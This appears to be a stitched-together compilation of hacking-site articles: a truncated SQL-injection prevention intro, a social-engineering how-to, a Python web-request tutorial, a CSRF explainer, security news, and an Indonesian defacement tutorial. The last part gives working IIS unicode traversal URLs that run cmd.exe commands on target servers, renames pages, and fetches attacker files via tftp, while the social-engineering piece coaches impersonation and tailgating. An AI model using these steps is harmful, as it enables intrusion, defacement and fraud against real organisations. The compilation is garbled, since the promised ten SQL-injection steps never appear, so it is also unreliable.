10 Steps to Protect your Websites from SQL Injection Attacks

Data theft has become so common that the price of a stolen credit card number in the black market has fallen from $10 in 2006 to a few pennies in 2009. Consumers are losing confidence in ecommerce, online banking and other electronic means of doing business. Meanwhile, attackers are devising even more clever ways to steal data and increasing numbers of companies are falling prey to those techniques. Legal and compliance requirements are getting stricter to protect the consumer, but still new incidents are on the rise in 2009. In a recent Verizon Business Data Breach Investigations Report1, studying over 600 incidents in the past five years, SQL Injection was identified as the single largest attack vector responsible for data theft

This finding is not surprising. Given the way Web applications are designed, it is very common for SQL injection attacks to occur without a company’s knowledge. Often, it is only when the credit card companies such as VISA and American Express notify the victimized company, that they learn about the hack and by then, it’s too late.

SQL injection attacks have the potential to cause significant and costly damage to an organization. They are targeted at the database, which stores sensitive information including employee and customer data. This type of attack exploits vulnerabilities in your application and manipulates the SQL queries in the application via input from the Web browser.

In a SQL injection attack, a malicious user can send arbitrary input to the server and trick the Web application into generating a different SQL statement than was originally intended. As a result, the SQL, when executed, fetches a different set of results from the database than the application would have originally requested. SQL injection attacks are most frequently used to gain unauthorized access to, or manipulate the data residing in, the database on the server.

Much has already been written about how SQL injection attacks are performed. The focus here is to prevent the attacks in the first place. Following are 10 steps that both developers and database administrators can take to prevent applications from being vulnerable to SQL injection attacks.

Social Engineering

I am writing this article, because social engineering is almost a necessity for any hacker. You would be surprised what valuable information people will give away to a complete stranger. I have not seen any articles on this topic so far, so I am going to do my best and hopefully teach you all something you did not know before.

Introduction
Social Engineering is the art of manipulating a person into revealing sensitive information. Social Engineering is the best hacking tool you can use, in my opinion. Similar to using a computer program to make another system spew out amounts of valuable information about the machine, that an attacker can later use. Think of it as "people hacking". When hacking into system you find a weakness or vulnerability that you can exploit, to gain access to restricted information. Social engineering is taking advantage of a persons weakness and getting them to disclose confidential information. All it takes is a large amount a confidence and basic knowledge of human nature and social behavior patterns. Social engineering does not just apply to computer security, it can apply to nearly any situation.


Understanding Human Nature
When it comes to social engineering there are typically only a handful of “tools” you can use. Some of which are; A basic understanding of human nature, cognitive biases, and psychological fallacies. People generally have social patterns and behaviors that can easily be exploited. Everyone has these flaws, it is a matter of finding out what works with the particular person. There are literally hundreds of these fallacies, and nearly everyone is guilty of them. This is just a few that really stand out to me. Maybe I will cover more in a future article. Some of the most popular human social patterns include:

*The Bandwagon Effect-This is the tendency to follow patterns of another persons, or a groups behavior. Generally everyone has heard the term "jump on the bandwagon", It simply means to do as others do. This particular bias plays a very important roll in social engineering and can be taken advantage of quite easily. Also known as conformity.

*Illusion of Control-This is the illusion that a human believes that they can control the outcome of certain situation, when it is clearly out of their hands. Think of someone who is gambling who believes they can really control the outcome of the numbers they roll. Some people truly believe that they can control the outcome of an event as if to predict the future. Prayer or belief in the paranormal could also be thrown into this category.

*Stereotyping-Stereotyping is judging a person by their distinguished characteristics. Everyone is clearly guilty of this at some point. Every time you meet someone for the first time, you almost always inadvertently judge them. You judge them by their clothes, their hairstyle and just their general appearance. However, stereotyping can sometimes be accurate as I will explain later on in the article.

*The Ostrich Effect-This is act of ignoring the negative situation that is going on. Think of someone that is over-optimistic about financial issues and pretending everything is fine. This particular fallacy is performed by almost anyone in a negative situation.

*Consistency bias-This is known as incorrectly remembering your past thoughts or actions in a given situation. This can be greatly taken advantage of. A new employee may not know how to answer a question, or how they answered it in the past. Therefore possibly disclosing valuable information.


Basic Techniques

You are not going to want to use every technique at once, find one that fits a particular situation and play the part well. Most social engineering can be done over the phone. It is quite simple to call up a company while imitating a person of authority and retrieving sensitive information. Help desks and customer service are very likely to this method of attack.

Be Polite
The best thing you can do is always be polite, never blow your cover by acting rude. Remember, you are sometimes taking advantage of someones good nature. So getting on their bad side is not a good start. Remember to speak up and be firm, but do not be rude. For example, call up a company you are interested in, and politely ask questions. Act as if you truly want to learn about how their system works, or what tools they use. Do not blatantly ask for something that you know is restricted information. You have to keep talking to them, while sounding knowledgeable and interested. Ask to speak to a manager, or someone in charge. Working your way up to someone that knows it all. Write down the names of employees pretend you are interested in that particular field of work, ask what type of education and things you will need to learn. The goal here is to persuade them from a psychological point of view.

Pretend to be ignorant
You obviously do not want the target to know much about you, so you want to be as discrete as possible. You do not want them to become concerned with a question you may have asked. Playing dumb is also another technique that can be used. Pretend to know nothing whatsoever and create a fake problem to ask customer service about. Keep them on the phone long enough and keep asking questions. Give them a fake name and phony problem. Ask for their name and figure out where they stand in the company. You know how annoying it is when you call a company and they keep redirecting you to someone else. They have thousands of calls each day, chances are they will not remember you. In all honesty they probably could not care less, they just want to get rid you and have someone else help you.

Be Curious, without giving it away
Write down a list of things you want to figure out with a certain phone call. Whether it be a certain name, phone number or just a piece of information that helps put together a piece of the puzzle. Ask for names, and to speak to certain people. Make sure you do your homework first and have a general knowledge about the company. If you do not know what to say beforehand you will sound like a fumbling idiot and your confidence level will decrease.

Pretending to be someone of higher authority
This applies the the bandwagon effect and also false memory. Tell a client that is lower in the chain that you are someone who you are not. Tell them you are an employee (in this case it would be a good idea to have a list of employees that you found on the company website or through the yellow pages.) Ask to speak to so and so, who is higher up in the company than she is. Tell them you need a phone number, or whatever it may be you are searching for. That is why I think it is a good idea to have a goal of what you are truly after. This method is known as reverse social engineering. This requires a bit of research and preparation to pull off, but with proper execution and very well be one of the best methods.

Other Techniques
These techniques are aimed to physical access to a specific company. Be careful with these though, they could land you in some pretty tough situations that may be harder to talk your way out of. Just remember that social engineering can be applied to nearly any given situation.

Dumpster Diving
As silly as this may sound, dumpster diving as an effective way of gaining valuable information about a company. You would be surprised what kinds of things they may have thrown away. Perhaps a trashed company computer with the hard rive still in it. Or possibly company phone books, organizational charts, memos, company policy manuals, calendars of meetings, events and vacations, system manuals, printouts of sensitive data or login names and passwords, printouts of source code, disks and tapes, company letterhead and memo forms, and outdated hardware. I will not go into great detail of how to dumpster dive, but I am sure you get the picture. Bottom line is that valuable things can be found in a company dumpster.

Tailgating
The art of following an authorized person into an area where you are not authorized. This is where your acting skills can come in handy. Pretend to be the repair man they called last week. Come ready with all your tools, hardhat white t-shirt and jeans and play the part. When really you just want physical access to something a normal civilian would not have rights to access. This technique takes some serious dedication, but in the end very much worth the effort. This requires doing your best to blend in. Maybe pretending to be just another employee on a smoke break. They will eventually finish and go back inside. That would be your cue to follow them inside, thus giving you physical access. Whatever your doing play the part, and do it with confidence.

Shoulder Surfing
Seems easy enough, right? It is as simple as it sounds, peering over someones shoulder to see what they are typing. Be careful not to get caught with this one, by making it obvious you are trying to view what they are typing. I am sure all of you have exercised some form of this at one point. I do not think I need to go into great detail on this, just be smooth about things.


People Watching
This is by far my favorite method. Keep in mind that social engineering does not always involve tricking people. Like I said before, it is all about understanding human nature. For some odd reason, I enjoy watching people. Whenever I go to a mall, airport or somewhere where I can sit down in public, I love to watch people. (In a non-rapist/stalker sort of way) I like to nonchalantly eavesdrop and just hear about their lives and what they have to say. I know you have all done it, at one time or another you have listened in on someones conversation and heard something they probably did not want you to hear. Everyone judges other people by the way they look or talk. It is one of the cognitive biases I listed called Stereotyping. A great way to practice your social engineering skills is to sit down and judge people. Not in a rude way, but try to figure out their life based on their appearance and social patterns. Pick out someone and see think about what they are wearing, what they are talking about, how they carry themselves and try to imagine what kind of life they lead.


Conclusion
This is just the tip of the iceberg when it comes to social engineering. There is much more to cover, but I hope you all learned something. Overtime you will become better at reading and understanding human nature. You will develop your own style of social engineering. There are many more methods that I left out, but these are great to start with. Knowing how to social engineer is a great way to prevent yourself from getting tricked by others. For example, the police use social engineering and forms of manipulation constantly. Others may disagree, but overall I feel this is an important topic to cover and I enjoyed writing this article. This is my first article, so let me know what you thought and I will keep them coming.

Web Interaction Using Python

Introduction


In a number of the HTS programming missions you are asked to interact with the site from a program that you have written, as opposed to using a webbrowser. There are plenty of other applications for web interaction, however. I have written a few python scripts to download various data from websites (e.g. http://python.pastebin.com/f268e6319 )

I will cover two ways of getting data from a website (and in fact, sending data too). If there are any problems with the article, leave a comment.

All examples have been written in Python 2.6. There are quite a few differences between 2.6 and 3.0, but the only ones that should apply in the code snippets in this article involve the print function.

In Python 2.6 a simple hello world is this:
CODE :
__________________________________________________________________________
print "Hello World"
__________________________________________________________________________

In Python 3.0 it looks like this:
CODE :
__________________________________________________________________________
print("Hello World")
__________________________________________________________________________

It's a good idea, and I will switch to 3.0 when it is finally worn in, but for the moment I'm sticking with 2.6.
If there are problems with any of the code running as 3.0, try using the 2to3 script (It came preinstalled with Xubuntu for me.. not sure about on windows etc).

Anyway, now that's all covered, on with the article.

The Url Libraries

First of all we will start with a tutorial on the URL libraries. These are urllib and urllib2.

Let's immediately get started with some code.
CODE :
__________________________________________________________________________
import urllib2
url = "http://example.com"
website = urllib2.urlopen(url)
print website.read()
__________________________________________________________________________

Pretty simple code really, and for a lot of things it's all you need to know. It fetches the website "http://example.com" and stores the data as an instance on which we use the read() function to return the data retrieved from the site. Here are the functions:
instance.read() This returns the data retrieved from the site.
instance.info() This returns the HTTP message from the server, it has a lot of useful information in it including cookie info and server type.
instance.geturl() Returns the URL that was requested - seems pointless but we'll cover it in a second and you'll see why there is a point.
instance.getcode() Returns the HTTP status code. (e.g. 404, 200)

It's worth messing around with those a bit, rather than just taking my word for what they do.
I'll now just show a use of the geturl() function:
CODE :
__________________________________________________________________________
import urllib2
url = "http://google.com" # After google, try 'http://example.com'
website = urllib2.urlopen(url)
if url == website.geturl():
print "Website not redirected."
else:
print "Website redirected you."
__________________________________________________________________________

Why you'd want to do that, I don't know, but there's bound to be a use for it sometime. But that is one application of the geturl() function anyway.

Let's do a HTTP POST request now. They're pretty easy really, but can look a little complicated, so don't worry.
Before you look at the code, you might want to set up a server (or get some webspace) so you can test this out. A little PHP script like below will do the trick:
CODE :
__________________________________________________________________________
echo $_POST['test'];
?>
__________________________________________________________________________

And before anyone says anything about XSS - get lost - it's a testpage that will be up for 10 minutes on a server that noone cares about. But if you really are that bothered, you can use strip_tags() around that. (I say this because I can tell there'll be someone who will try and pipe up a clever comment).

Now then, we'll be introducing a new module for this (though it isn't strictly necessary, it's the best way I reckon). I will import the single function as we don't need any other functions from the module.

Okay, let's go:
CODE :
__________________________________________________________________________
import urllib2
from urllib import urlencode # new module and function

url = "http://localhost/test.php"
data = {'test':'lolwut'}
# you can add as much info as you want to this dictionary
# "test" is the label for the data, so that PHP script above
# should display "lolwut".

encoded_data = urlencode(data)
# remember that this is from that imported module, normally you'd
# use this: urllib.urlencode(data) if you used a normal import.

website = urllib2.urlopen(url, encoded_data)
print website.read() # That was pretty easy, right?
__________________________________________________________________________

Pretty straightforward, right?
Let's go onto HTTP Basic Authentication. This is more tricky. Here's the skeleton code for opening more advanced things, including HTTP authentication.
CODE :
__________________________________________________________________________
import urllib2

url = "http://example.com"

openerDirective1 = ...
openerDirective2 = ...

opener = urllib2.build_opener(openerDirective1, openerDirective2)

urllib2.install_opener(opener)

website = urllib2.urlopen(url)
__________________________________________________________________________

Okay, that's a lot more complicated. Note the "openerDirective"s. They are basically a way of adding headers to the urlopen requests.
You can have numerous opener directives, or just the one. You build them into an opener using the build_opener() function then install it, using install_opener(). After that, you can request a site and it will include the headers that you have specified.

Let's look at creating a HTTP Basic Authentication header.

CODE :
__________________________________________________________________________
authDirective = urllib2.HTTPBasicAuthHandler()
realm = "Webmail"
url = "http://example.com/webmail/"
username = "leethaxxer"
password = "letmein"
authDirective.add_password(realm, url, username, password)
__________________________________________________________________________

Then, we just build the opener and install it like we did in the skeleton code. Here:
CODE :
__________________________________________________________________________
opener = urllib2.build_opener(authDirective)
urllib2.install_opener(opener)
__________________________________________________________________________

I plan to write another article soon about cookies in Python, both as part of CGI and as part of requests with Urllib2.
Now I will move onto sockets and raw HTTP requests, and include cookies in that.

Socket Programming in Python

Socket programming is a really useful thing to learn - it's a must really, especially if you want to learn about security.

Again, we'll get some code out there straight away:
CODE :
__________________________________________________________________________
import socket
s = socket.socket()

host = "www.example.com"
port = 80
addr = (host, port)

s.connect(addr)
s.send("Something to send..")
print s.recv(1024)
# 1024 is the buffer size, you don't need to worry about it
# much right now.

s.close()
__________________________________________________________________________

There we are. We've created a socket, connected to "www.example.com" on port 80 then sent "Something to send.." and received something back, which has been printed out. Then we closed the socket, which isn't strictly necessary - but good practice.

Here's some better stuff to send, however:
CODE :
__________________________________________________________________________
GET /index.html HTTP/1.1\r\n
Host: www.example.com\r\n
__________________________________________________________________________

That's a simple HTTP GET request, asking for "index.html".
Here's a post request:
CODE :
__________________________________________________________________________
POST /index.php HTTP/1.1\r\n
Host: www.example.com\r\n
Content-Length: 11\r\n
\r\n
hello=world\r\n
__________________________________________________________________________

Now let's add a cookie to a HTTP GET:
CODE :
__________________________________________________________________________
GET /index.html HTTP/1.1\r\n
Host: www.example.com\r\n
Set-Cookie: hello=world\r\n
__________________________________________________________________________

There are other socket modes that can be set, this article is a very basic introduction. I would recommend reading this article if you want to learn more: http://www.amk.ca/python/howto/sockets/

Conclusion

Hopefully this article will help you begin to interact with the Internet using Python. It's just the beginning and I will work on follow-up articles. Good luck and thanks for reading.
dotty.

An Introduction to CSRF Vulnerabilities

What is a CSRF Attack?

A CSRF attack is a form of attack in which commands are transmitted from a victim to another website without the users consent. CSRF attacks are usually invisible and rely on browser functionality (such as automatically loading images).
How is a CSRF Attack Carried Out?

CSRF attacks are embedded in an element browsers automatically react to (such as an image tag).

Lets assume that Joe has just registered with a brand new Electronic Money transfer site. When Joe wants to transfer money, he heads to www.example.com/transfer.php to send some money to his wife, Mary.

He fills out the forms for the amount of money he wants to transfer and who he wants to send the money to, and then clicks submit. The URL now looks like this:
CODE :
__________________________________________________________________________
//www.example.com/transfer.php?from=Joe&to=Mary&amount=2
__________________________________________________________________________

The next day, Janice, Joes angry ex-wife, also registers with the site. She decides to send $5 to her boyfriend, named Sam. She heads to www.example.com/transfer.php, fills out the forms (quite angrily), and hits submit.

She notices that the URL,
CODE :
__________________________________________________________________________
//www.example.com/transfer.php?from=Janice&to=Sam&amount=5
__________________________________________________________________________

does not require any authorization besides her Session cookie (which is automatically send to the web server).

Still bitter over what she thinks was an unfair settlement to her divorce with Joe, she slips on her black hat and decides to cheat Joe out of his money.

She sends a message to Joe which looks like this:

CODE :
__________________________________________________________________________
//Title: I Hate You!!!!

You are the most rotten, vile, PIG ever!!!!!
[img]www.example.com/transfer.php?from=Joe&to=Janice&amount=5000[/img]
__________________________________________________________________________

(Note that Janice used BBCode for her image tag, which example.com automatically translates into HTML.)

Later that day, Joe logs on and views the message. His browser sees the image tag and automatically follows it to
CODE :
__________________________________________________________________________
//www.example.com/transfer.php?from=Joe&to=Janice&amount=5000
__________________________________________________________________________

His browser then attempts to download the page and display it as an image. Because the link provided is not a valid image, the browser displays it as a broken image.

However, the server at example.com sees that Joe has visited the link, and transfers $5000 dollars to Janice.

All this happens invisibly and within seconds.
Dangers of CSRF

We now understand how a CSRF attack is performed. But, what can this attack do?

It can:

*Transfer Funds
*Log a user in/out
*Register a user
*Log data of a user
*Send a message from the victim to someone else
*Etc

The only requirement is that the server must not have a means of detecting if the user has authorized the action that a CSRF attack performs.
Prevention of CSRF Attacks

CSRF attacks can be prevented in a number of ways, but the best way to prevent them is a combination of many different methods.

CSRF attacks are much easier if an action can be performed with an HTTP GET request, but simply having only POST requests is not sufficient to prevent CSRF attacks.

One common method of preventing CSRF attacks is to have a hidden value randomly generated upon the users visit of the webpage. The advantage of this strategy is that the attacker can not predict what the token will be, and thus cannot conduct the attack. This would look something like
CODE :
__________________________________________________________________________
//

__________________________________________________________________________

Randomizing the name of the CSRF token provides additional security.

Another method of prevention is double-submitting cookies. This is when you send the session ID in two ways: once in the cookie and once in a hidden value.

The session ID must be generated randomly and be required for the action to be performed.

Other general protection methods include:

*Not keeping users logged in for a long time
*Client-side, a browser should only follow image tags that end in image types such as jpeg, gif, png, etc.
Conclusion

In conclusion, CSRF attacks are based on a client's trust in a browser. They are performed when a user's browser sends an HTTP request to a site that causes a 'side effect' without the user knowing.

Please note that while CSRF attacks commonly are included in image tags, they are not limited to one html element. There are multiple ways to exploit a CSRF vulnerability.

Kaspersky Lab and BitDefender websites hit by hackers

The websites of two major providers of security products have been hit by hackers.

The website of Russian IT security provider Kaspersky Lab was hit at the weekend by a Romanian ‘white-hat’ hacker.

A group calling itself ‘the Romanian Security Team’ claimed that the hackers achieved full access to the database supporting the websites – which includes customer data – by simply altering a parameter in the URLs. They could also perform SQL injections to remotely introduce harmful code into the database.

The group also claimed to have hit the Portuguese site of US anti-virus provider BitDefender, with the personal details of thousands of users viewed. The hackers said that they alerted the two companies of the security flaw and did not expose any of the data they found.

Kaspersky Lab said in a statement: “On Saturday February 7 2009, a vulnerability was detected on a subsection of the usa.kaspersky.com domain when a hacker attempted an attack on the site.

“The site was only vulnerable for a very brief period, and upon detection of the vulnerability we immediately took action to roll back the subsection of the site and the vulnerability was eliminated within 30 minutes of detection. The vulnerability wasn’t critical and no data was compromised from the site.”

Gunter Ollmann, chief security strategist at IBM’s Internet Security Systems, said: “I hope that Kaspersky administrators fix this vulnerability rather quickly as they no doubt have a large customer base, and it would appear that all those customers are now exposed

“On top of that, this type of critical flaw can probably be used to usurp legitimate purchases and renewals of their products - which could include the linking to malicious and backdoored versions of their software - thereby infecting those very same customers that were seeking protection from malware in the first place.”

The websites of two major providers of security products have been hit by hackers.

A new Valentine’s Day spam email has been detected by Websense as containing a Waledac variant. Websense Security Labs has reported to have seen several fake Valentine’s Day sites serving up malware recently, with an increase in adult dating and ‘healthcare’ related email spam released to mark the occasion. Carl Leonard, Websense threat research manager, claimed that it works by the user opening the URL in the spammed message and being redirected to a site with two puppies and a love heart to give a Valentine’s theme. The user is then enticed to download a Valentine’s kit to prepare a present for a loved one, which is a new Waledac variant.

Leonard said: “The usual suspects have emerged as expected, with Valentine spam emails and Trojans. The public are becoming more aware of these and it is getting harder to trick people this way. Cybercriminals are also taking their efforts to social networks, given its rising popularity and potential to manipulate the user through ‘friend’ messages.

“Organised criminal units have a long history of timing their attacks to coincide with popular occasions in order to achieve maximum success. Valentine’s Day 2009 is a day that is similarly marked on the criminals’ calendar for targeted attacks.”

Websense has warned of three key signs of fake sites: ‘Broken Hearts’ sites show colourful images such as puppy dogs or a picture of 12 pretty hearts and ask ‘Guess, which one is for you?’. The web page however is one big image and a single click from a tricked user commences the download of Trojans named “onlyyou.exe” or “youandme.exe”, which can connect to remote websites to receive commands and send information about the compromised system.

‘I am your friend’ uses social networking tricks to get users to visit fake sites, with Websense claiming that a popular technique at the moment is spam email pretending to originate from social networking sites – complete with love hearts and cartoon characters. Clicking through to the link would download a Trojan designed to steal log in credentials for banking sites.

Seventy per cent of the top 100 most popular websites either hosted malicious content or contained a masked redirect to lure unsuspecting victims from legitimate sites to malicious sites. Specially created malicious sites are in decline as cybercriminals switch to compromising ‘trusted’ websites. Websense claimed that as there is increased confidence in shopping and researching online - a lot of which happens whilst in the office – people are turning to the internet to order flowers, chocolates and other gifts and cybercriminals are compromising these sites and stealing data.

Leonard said: “The underground economy is positively flourishing as companies fail to keep up with security technology. Criminals are taking advantage of the growing number of Web 2.0 properties, which allows user generated content. More than ever we’re seeing websites injected with links to direct users to malicious and compromised sites.

“Since many email security systems lack web intelligence, spammers have also stepped up email campaigns which contain links to malicious web pages. It’s clear that businesses need security with real-time protection, but until this becomes the norm – cybercriminals will continue stealing data and breaking hearts.”

source : http://www.hacking-news.com/

Deface Website – Via URL – Windows Version

Ok Sob , kita langusng ke pokok pembahasan tapi pesan kita “Resiko Ditanggung Masing – Masing”. Pada posting ini kita coba membahas “deface website” apa itu ?? Deface adalah kegiatan untuk mengganti ataupun merubah tampilan halaman depan sebuah situs. Tentu saja prosesnya ilakukan dengan memanfaatkan kelemahan dari situs tersebut, sehingga kalo sob adalah web master dan sob ngerubah tampilan halaman situs yang sob punya tentu saja itu nggak bisa disebut deface…heheheh. Banyak yang bertanya “gimana sich nge-deface situs?” proses deface dilakukan dengan memanfaatkan lubang (hole) yang terdapat pada server tempat situs itu berada. Sehingga hal pertama yang harus kalian ketahui untuk melakukan proses deface adalah OS (Operating System) dari server situs tersebut. Hal ini karena karakteristik dari tiap OS yang berbeda-beda, contohnya antara IIS dengan BSD tentu saja sangat berbeda apabila kita ingin melakukan deface diantara kedua OS tsb. Operating System atau OS biasanya kalo kita kelompikin ke 2 keluarga besar,yaitu :

1. IIS (server untuk microsoft, dkk)
2. Unix(linux,BSD,IRIX,SOLARIS,dsb)

elalui tutor ini saya teh hanya ingin berbagi pengalaman mengenai cara men-deface website yang menggunakan Microsoft Internet Information Server atau Microsoft IIS. Harap DeFaceR (sebutan bagi org yg suka deface..;p) ketahui…Microsoft Internet Information Server atau MS IIS 4.0/5.0 memiliki suatu bug yang dinamakan “unicode bug”. Sayah tidak akan menjelaskan panjang lebar mengenai “unicode bug” ini karena sayah takut salah menjelaskan (ssSSTTtHHH!! gn bilang sapa2 yah sebenernyah sayah teh emang gak tau …ehehehheehhe..;p~). Yang jelas dengan bug ini kita bisa mengeksplorasi komputer target dengan hanya menggunakan internet browser.

OK…mari kita mulai…Pertama kita cari site site target terlebih dahulu di search engine (google,yahoo,dll)…key nya terserah
kowe…..Lalu utk mengetahui site itu menggunakan MS IIS 4.0/5.0…Kita scan terlebih dahulu di www.netcraft.com……dapat site yah..??…Okeh..setelah kita mendapatkan site yg menggunakan MS IIS 4.0/5.0 …Langkah selanjutnya utk mengetahui site tersebut belum di-patch bug unicode nya mari kita scan site tersebut di mirc (utk mengeteahui cara scan lewat mirc….coba koe buka http://www.jasakom.com/hacking.asp page 3 Scanning Exploit Unicode Dengan MIRC),bisa juga memakai sopwer yg
bisa and DL di http://accessftp.topcities.com/…. or memakai cara manual yg lebih sering kita gunakan ehehhehehhee…contoh:

http://wwwtargethost.com/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\

Ada dua kemungkinan yang tampil pada browser Anda yaitu:
Kahiji : Muncul pesan ERROR …
Kaduana : Muncul daftar file-file dari drive C pada komputer server
target. Bila ini terjadi maka
www.targethost.com tadi ada kemungkinan untuk bisa kita deface…

Mari kita perhatikan URL aneh bin ajaib diatas. Akan sayah bagi URL
diatas menjadi empat bagian yaitu :
· Bagian host, yaitu “http://www.targethost.com”
· Bagian exploit string, yaitu “/scripts/..%255c..%255c”
· Bagian folder, yaitu “/winnt/system32/”
· Bagian command, yaitu “cmd.exe?/c+dir+c:\”

Kita lihat pada bagian command diatas menunjukkan perintah “dir c:\” yang berarti melihat seluruh file-file yang berada pada root drive C. Koe bisa mencoba perintah yang lain seperti “dir d:\” atau yang lain. Ingat, Koe harus mengganti karakter spasi dengan tanda “+”. Koe bahkan bisa menge tahui konfigurasi IP address komputer tujuan dengan mengetikkan perintah “ipconfig.exe /all”

Selain itu ada beberapa kemungkinan yaitu bisa saja URL diatas masih menampilkan error pada browser koe. Untuk itu koe ganti sajah bagian eksploit stringnyah, eksploit string yg sering tembus adalah :
- /cgi-bin/..%255c..%255c
- /msadc/..%e0\%80\%af../..\%e0\%80\%af../..\%e0\%80\%af..
- /cgi-bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..
- /samples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..
- /iisadmpwd/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..
- /_vti_cnf/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..
- /_vti_bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..
- /adsamples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..
- /scripts/..%255c..%255c

Jika semua pilihan eksploit string diatas masih memunculkan pesan error pada browser koe maka kemungkinan besar IIS pada web server sudah di-patch bug unicode nya (OR IE kowe yg lagie dodolss …hiheiehiehiehei). Dan koe bisa memilih situs lain sebagai sasaran….(yg sabar yah nak nyari targetnyah…ehehhehehe).

Lanjuttt……udeh dapet site yg bug unicodenyah gak di patch..??….Langkah berikutnya adalah mengetahui di folder manakah diletakkan dokumen-dokumen web seperti default.htm/html/asp,,index.htm/html/asp,home.htm/html/asp,main.htm/html/asp,.ada juga yg pake .php/php3/shtml. Folder ini dinamakan web root. Biasanya web root berada di C:\InetPub\wwwroot\ atau D:\InetPub\wwwroot. Tapi terkadang web administrator menggantinya dengan yang lain. Untuk mengetahuinya koe cukup mengetikkan URL seperti di bawah ini

http://www.targethost.com/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+set

URL diatas akan menampilkan daftar environment variable dari web server sasaran. Kebuka..??…Nah tugas koe skrg adalah mencari PATH_TRANSLATED atau tulisan PATH_TRANSLATEDnyah…gak ada yahh ..??…coba deh koe ripresh lagehh…udah ketemuuu…nah skrg kita DIR deh tuh si PATH_TRANSLATED nyah…..Kita ambil contoh PATH_TRANSLATEDnyah :
C:\InetPub\wwwroot….Perintahnya ng-DIR nyah :

http://www.targethost.com/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+C:\InetPub\wwwroot

Huaaaaaaa….isinyah banyak banged yahh…..mana dokumen2 web yg kita curigain itu ada 3 bijih. lagehh… .hemm santeyy…oiyahh…lupa sayah…Tugas kita setelah ng-DIR PATH_TRANSLATEDnyah….. truss kita cari dokumen web itu disitu utk kita RENAME….gemana kalo misalnyah dokumen2 web yg kita curigain itu ada 3..santeyy…coba skrg koe buka site aslinyah di laen window….
http://www.targethost.com == neh yg ini……di situ kan alias di
http://www.targethost.com/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+C:\InetPub\wwwroot
dokumen2 web nyah ada 3 macem pasti kita bingung yg mana neh yg mo di RENAME….misalnya : di

http://www.targethost.com/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+C:\InetPub\wwwroot
itu ada :
Directory of C:\InetPub\wwwroot
07/20/01 03:21p 1,590 default.htm
07/20/01 03:21p 590 index.html
07/20/01 03:21p 3,453 main.html

Udah di buka kan site aslinyah…nah coba masukin salah satu dokumen web itu di site asli nyah… contoh : http://www.targethost.com/default.htm kita liad hasilnya apa kah sama gambarnya (halaman depannya) setelah kita masukin dokumen web tadee.waww ternyata tidak sama hemm.coba masukin lageh salah satu dokumen web itu site aslinyah.mMmm..kita masukin yg main.html.waww waww..ternyata sama gambarnyahh.Nah skrg kita RENAME deh yg main.html ituu. perintahnya :

http://www.targethost.com/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+ren+C:\InetPub\wwwroot\main.html+gue.html

Lihat apa yg terjadi di IE kitaa

CGI Error
The specified CGI application misbehaved by not returning a complete
set of HTTP headers. The headers it did return are:
Access is denied

Yahhhh..akses dineyy.hiekksss jgn nyerah bro` kita carih lageh targetnyah okeHh !!!Dapat targetnyah..??udah di RENAME nyah??.Hasilnya setelah di RENAME seperti di bawah ini bukan??

CGI Error
The specified CGI application misbehaved by not returning a complete
set of HTTP headers. The headers it did return are :

Kalo iyahh.waaa selamat anda telah merubah or berhasil men-deface halaman depan web site tersebut.kalo gak caya buka ajah site aslinyah pasti ERROR kann ehehhehehhee (Jgn lupa kita simpan C:\InetPub\wwwroot\main.html *file yg kita rename tadi di notepad utk langkah selanjutnyah*)

Sekarang koe tugasnyah meng-upload file koe ke site tadee Ada dua cara my bro` Pertama lewat ECHO..Kedua lewat TFTP32.

*Cara pertama :*
Utk meng-upload file lewat echo sebelumnyah kita harus mengcopy file cmd.exe pada direktori C:\winnt\system32 ke suatu folder lain atau folder yang sama dengan nama lain, misalnya cmdku.exe. Untuk meng-copy cmd.exe menjadi cmdku.exe pada folder winnt\system32 maka cukup ketik URL berikut :

http://www.targethost.com/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+copy+c:\winnt\system32\cmd.exe+c:\cmdku.exe

Pasti hasilnya akan seperti di bawah ini :

CGI Error
The specified CGI application misbehaved by not returning a complete
set of HTTP headers. The headers it did return are :
1 file(s) copied.

Tujuan kita meng-copy cmd.exe menjadi cmdku.exe adalah agar kita bisa menjalankan perintah echo dengan lengkap. Apabila Anda menggunakan cmd.exe maka perintah echo tidak bisa digunakan untuk menulis atau membuat file.

Okeih Sob skrg mari kita up-load file nya lewat perintah echo perintahnya :

dapat dilihat disini
Kita liat apa yg terjadi di IE kita.

CGI Error
The specified CGI application misbehaved by not returning a complete
set of HTTP headers. The headers it did return are :

Waa..waaa.selamat anda telah berhasil meng-upload file anda lewat cara echo tadee silahkan buka web site target tadi

Oiyahh sayah uraikan sedikit URL ajaib tadii. Sayah akan membagi URL tadi menjadi empat bagian :

• Bagian hosting dan exploit string yaitu, http://www.targethost.com/scripts/..%255c..%255c
• Bagian command yaitu, cmdku.exe?/c+echo+
• Bagian HTML
• Bagian PATH_TRANSLATEDnyah(rootnyah)+Dokumen webnyah yaitu,
  C:\InetPub\wwwroot\main.html

Cara Kedua Utk meng-upload file lewat TFTP32 sebelumnyah koe2 orang harus mendownload sopwer TFTP32 terlebih dahulu di http://www.download.com ketik keynya TFTP32 dan koe harus maen diserver (sebab di user pasti takkan bisa). Meng-upload file lewat TFTP32.. koe tdk perlu mengcopy cmd.exe nyah langsung sajah.mari kita mulai meng-uploadnyah perintahnya :

• http://www.targethost.com/scripts/..%255c..%255c
  /winnt/system32/cmd.exe?/c+tftp+-i+202.95.145.71(IP mu)+get+antique.htm(file yg mau koe
  up-load)+ C:\InetPub\wwwroot\main.html

Kita liat lagi apa yg terjadi di IE kita.

CGI Error
The specified CGI application misbehaved by not returning a complete
set of HTTP headers. The headers it did return are :

Waa..waaa.selamat anda telah berhasil meng-upload file anda memakai sopwer TFTP32 tadee silahkan buka web site target tadi.

Sayah akan uraikan juga URL tadee menjadi 4 bagian :

• Bagian hosting dan exploit string yaitu, http://www.targethost.com/scripts/..%255c..%255c
• Bagian folder, yaitu /winnt/system32/
